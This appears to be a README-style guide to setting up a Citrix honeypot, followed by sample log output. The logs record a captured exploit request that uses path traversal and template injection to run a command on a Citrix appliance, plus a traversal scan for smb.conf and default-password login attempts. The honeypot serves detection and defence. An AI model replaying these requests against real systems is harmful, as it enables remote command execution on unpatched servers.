mkdir citrix-honeypot
cd citrix-honeypot
wget https://github.com/x1sec/citrix-honeypot/releases/download/v0.02/citrix-honeypot-linux-amd64.tar.gz
tar -xf citrix-honeypot-linux-amd64.tar.gz

go get github.com/x1sec/citrix-honeypot

openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650

./citrix-honeypot

nohup ./citrix-honeypot &

$ cat logs/hits.log 
2020/01/23 08:27:55 
-------------------
Exploitation detected ...
src: xxx.xxx.xxx.xxx
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Nsc_nonce: test1337
Nsc_user: /../../../../../../../../../../netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS
User-Agent: curl/7.67.0

url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'id | tee /netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb

$ cat logs/hits.log 
2020/01/23 08:41:02 
-------------------
Scanning detected ... 
src: xxx.xxx.xxx.xxx
GET /vpn/../vpns/cfg/smb.conf HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: curl/7.67.0

$ cat logs/logins.log
2020/01/23 07:26:03 Failed login from xxx.xxx.xxx.xxx user:nsroot pass:nsroot
2020/01/23 08:26:03 Failed login from xxx.xxx.xxx.xxx user:admin pass:admin